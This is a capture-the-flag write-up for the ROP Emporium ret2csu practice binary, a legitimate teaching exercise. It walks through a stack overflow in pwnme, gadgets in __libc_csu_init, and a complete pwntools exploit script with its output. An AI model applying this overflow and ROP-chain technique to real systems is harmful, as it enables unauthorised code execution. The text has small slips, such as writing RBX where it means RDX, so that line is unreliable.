ROPEmporium ret2csu

This writeup is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

Let's take a look at the binary:

$    file ret2csu
ret2csu: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a799b370a24ba0109f1175f31b3058094b5feab5, not stripped
$    pwn checksec ret2csu
[*] '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./ret2csu
ret2csu by ROP Emporium

Call ret2win()
The third argument (rdx) must be 0xdeadcafebabebeef

> 15935728

So we can see that we are dealing with a 64 bit binary with an NX stack. When we run it, we see that it prompts us for input.

Reversing

When we take a look at the main function, we see this:

undefined8 main(void)

{
  setvbuf(stdout,(char *)0x0,2,0);
  puts("ret2csu by ROP Emporium\n");
  pwnme();
  return 0;
}

We can see that this function essentially prints out some text, and calls pwnme:

void pwnme(void)

{
  char input [32];
 
  memset(input,0,0x20);
  puts("Call ret2win()");
  puts("The third argument (rdx) must be 0xdeadcafebabebeef");
  puts("");
  printf("> ");
  PTR_puts_00601018 = (undefined *)0x0;
  PTR_printf_00601028 = (undefined *)0x0;
  PTR_memset_00601030 = (undefined *)0x0;
  fgets(input,0xb0,stdin);
  PTR_fgets_00601038 = (undefined *)0x0;
  return;
}

So we can see that it allows us to scan in 0xb0 (176) bytes worth of data into a 32 byte space. So we have a buffer overflow bug here. Also another thing to note here, it zeroes out the got addresses for puts, printf, and memset. We can see that it asks us to call the ret2win function with the third argument (since it is x64 on linux, it is stored in the rdx register) being equal to 0xdeadcafebabebeef. When we take a look at the ret2win function, we see that it calls system:


/* WARNING: Restarted to delay deadcode elimination for space: stack */

void ret2win(void)

{
  undefined8 uVar1;
  undefined2 uVar2;
  undefined8 uVar3;
  undefined2 uVar4;
  undefined8 local_28;
  undefined local_20;
  undefined7 uStack31;
  undefined local_18;
  undefined uStack23;
  undefined7 *local_10;
 
  local_28 = 0xaacca9d1d4d7dcc0;
  local_10 = &uStack31;
  uVar3 = 0xd5bed0dddfd28920;
  local_20 = (undefined)uVar1;
  uStack31 = (undefined7)((ulong)uVar1 >> 8);
  uVar4 = 0xaa;
  local_18 = (undefined)uVar2;
  uStack23 = (undefined)((ushort)uVar2 >> 8);
  system((char *)&local_28);
  uVar2 = uVar4;
  uVar1 = uVar3;
  return;
}

Looking at the assembly code for the function, we see that it manipulates the argument stored in rdx and uses it as an argument for system. So the statement it said about The third argument (rdx) must be 0xdeadcafebabebeef is probably true.

Exploitation

So we will have to call ret2win with rdx being equal to 0xdeadcafebabebeef. However when we look at the rop gadgets we have to change the value of the rdx register, we come up a little short:

$    python ROPgadget.py --binary ret2csu | grep rdx
0x0000000000400567 : lea ecx, [rdx] ; and byte ptr [rax], al ; test rax, rax ; je 0x40057b ; call rax
0x000000000040056d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret

Since the code base for this challenge is pretty small (like most ctf challenges), and that it is dynamically compiled means we don't have a lot of ROP gadgets to use. So we will be using the ret_2_csu (ret_2_libc_csu_init) technique.

Ret_2_csu

This is pretty simple when we get down to it. The __libc_csu_init function is responsible for initializing the libc file. Essentially we will be pulling ROP gadgets from this function.

                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined __libc_csu_init()
             undefined         AL:1           <RETURN>
                             __libc_csu_init                                 XREF[5]:     Entry Point(*),
                                                                                          _start:00400606(*),
                                                                                          _start:00400606(*), 00400978,
                                                                                          00400a70(*)  
        00400840 41 57           PUSH       R15
        00400842 41 56           PUSH       R14
        00400844 49 89 d7        MOV        R15,RDX
        00400847 41 55           PUSH       R13
        00400849 41 54           PUSH       R12
        0040084b 4c 8d 25        LEA        R12,[__frame_dummy_init_array_entry]             = 4006D0h
                 be 05 20 00
        00400852 55              PUSH       RBP
        00400853 48 8d 2d        LEA        RBP,[__do_global_dtors_aux_fini_array_entry]     = 4006A0h
                 be 05 20 00
        0040085a 53              PUSH       RBX
        0040085b 41 89 fd        MOV        R13D,EDI
        0040085e 49 89 f6        MOV        R14,RSI
        00400861 4c 29 e5        SUB        RBP,R12
        00400864 48 83 ec 08     SUB        RSP,0x8
        00400868 48 c1 fd 03     SAR        RBP,0x3
        0040086c e8 ef fc        CALL       _init                                            int _init(EVP_PKEY_CTX * ctx)
                 ff ff
        00400871 48 85 ed        TEST       RBP,RBP
        00400874 74 20           JZ         LAB_00400896
        00400876 31 db           XOR        EBX,EBX
        00400878 0f 1f 84        NOP        dword ptr [RAX + RAX*0x1]
                 00 00 00
                 00 00
                             LAB_00400880                                    XREF[1]:     00400894(j)  
        00400880 4c 89 fa        MOV        RDX,R15
        00400883 4c 89 f6        MOV        RSI,R14
        00400886 44 89 ef        MOV        EDI,R13D
        00400889 41 ff 14 dc     CALL       qword ptr [R12 + RBX*0x8]=>->frame_dummy         undefined frame_dummy()
                                                                                             = 4006D0h
                                                                                             = 4006A0h
                                                                                             undefined __do_global_dtors_aux()
        0040088d 48 83 c3 01     ADD        RBX,0x1
        00400891 48 39 dd        CMP        RBP,RBX
        00400894 75 ea           JNZ        LAB_00400880
                             LAB_00400896                                    XREF[1]:     00400874(j)  
        00400896 48 83 c4 08     ADD        RSP,0x8
        0040089a 5b              POP        RBX
        0040089b 5d              POP        RBP
        0040089c 41 5c           POP        R12
        0040089e 41 5d           POP        R13
        004008a0 41 5e           POP        R14
        004008a2 41 5f           POP        R15
        004008a4 c3              RET

From this function, there are two rop gadgets that we will be pulling from.

This one will allow us to control various registers:

        0040089a 5b              POP        RBX
        0040089b 5d              POP        RBP
        0040089c 41 5c           POP        R12
        0040089e 41 5d           POP        R13
        004008a0 41 5e           POP        R14
        004008a2 41 5f           POP        R15
        004008a4 c3              RET

This one will allow us to control the RDX, RSI, and EDI registers:

        00400880 4c 89 fa        MOV        RDX,R15
        00400883 4c 89 f6        MOV        RSI,R14
        00400886 44 89 ef        MOV        EDI,R13D
        00400889 41 ff 14 dc     CALL       qword ptr [R12 + RBX*0x8]=>->frame_dummy         undefined frame_dummy()
                                                                                             = 4006D0h
                                                                                             = 4006A0h
                                                                                             undefined __do_global_dtors_aux()
        0040088d 48 83 c3 01     ADD        RBX,0x1
        00400891 48 39 dd        CMP        RBP,RBX
        00400894 75 ea           JNZ        LAB_00400880

However the thing is with this gadget, it doesn't end in a ret (at least not immediately after the MOV instructions we need) so we will have to trace through and make sure the rest of the code until it hits a RET, and make sure there isn't anything that causes an issue. With the first gadget, we can assign a value to R15, which with the second gadget we will copy it's value to the RDX register. Looking at the full code path for the second gadget, we see this:

                             LAB_00400880                                    XREF[1]:     00400894(j)  
        00400880 4c 89 fa        MOV        RDX,R15
        00400883 4c 89 f6        MOV        RSI,R14
        00400886 44 89 ef        MOV        EDI,R13D
        00400889 41 ff 14 dc     CALL       qword ptr [R12 + RBX*0x8]=>->frame_dummy         undefined frame_dummy()
                                                                                             = 4006D0h
                                                                                             = 4006A0h
                                                                                             undefined __do_global_dtors_aux()
        0040088d 48 83 c3 01     ADD        RBX,0x1
        00400891 48 39 dd        CMP        RBP,RBX
        00400894 75 ea           JNZ        LAB_00400880
                             LAB_00400896                                    XREF[1]:     00400874(j)  
        00400896 48 83 c4 08     ADD        RSP,0x8
        0040089a 5b              POP        RBX
        0040089b 5d              POP        RBP
        0040089c 41 5c           POP        R12
        0040089e 41 5d           POP        R13
        004008a0 41 5e           POP        R14
        004008a2 41 5f           POP        R15
        004008a4 c3              RET

So a few conditions we will need to meet. The first we have to ensure that [R12 + RBX*0x8] resolves to a pointer to a valid instruction pointer. After that, we need to ensure that RBP and RBX are equal to each other (after RBX is incremented by one) otherwise it will jump to LAB_00400880 and rerun our gadget. After that the first gadget runs which ends in a RET instruction, however we need to ensure that there are values on the stack for the POP instructions.

For the function we are calling we will call _init. The reason why I call this function instead of other function, is this one doesn't crash when I call it in this context. Let's find a pointer to it's address.

When we check the address of _init in ghidra, we see that it is 0x400560:

                             //
                             // .init
                             // SHT_PROGBITS  [0x400560 - 0x400576]
                             // ram: 00400560-00400576
                             //
                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             int __stdcall _init(EVP_PKEY_CTX * ctx)
             int               EAX:4          <RETURN>
             EVP_PKEY_CTX *    RDI:8          ctx
                             __DT_INIT                                       XREF[4]:     Entry Point(*),
                             _init                                                        __libc_csu_init:0040086c(c),
                                                                                          00600e38(*),
                                                                                          _elfSectionHeaders::000002d0(*)  
        00400560 48 83 ec 08     SUB        RSP,0x8

We can find a pointer to it using gdb:

gef➤  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
  0x400e38 - 0x400e44  →   "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
  0x600e38 - 0x600e44  →   "\x60\x05\x40[...]"

Or we can find it using the DYAMIC variable:

gef➤  x/4g &_DYNAMIC
0x600e20:    0x0000000000000001    0x0000000000000001
0x600e30:    0x000000000000000c    0x0000000000400560

So the value we will set R12 will be 0x600e38, which will end up calling _init. We will set RBX to zero, that way it doesn't interfere with the call. For the compare it will be incremented to 1, so we will need to set RBP to 1 to pass it. After that we will just need filler values for the rest of the POPS. After that we can just call ret2win, and do to our previous work we will have RBX set to 0xdeadcafebabebeef.

Exploit

Putting it all together, we have the following exploit:

# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX
    
# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()

When we run it:

$    python exploit.py
[+] Starting local process './ret2csu': pid 17309
[*] Switching to interactive mode
ret2csu by ROP Emporium

Call ret2win()
The third argument (rdx) must be 0xdeadcafebabebeef

> ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$
[*] Process './ret2csu' stopped with exit code -11 (SIGSEGV) (pid 17309)
[*] Got EOF while sending in interactive

Just like that, we got the flag!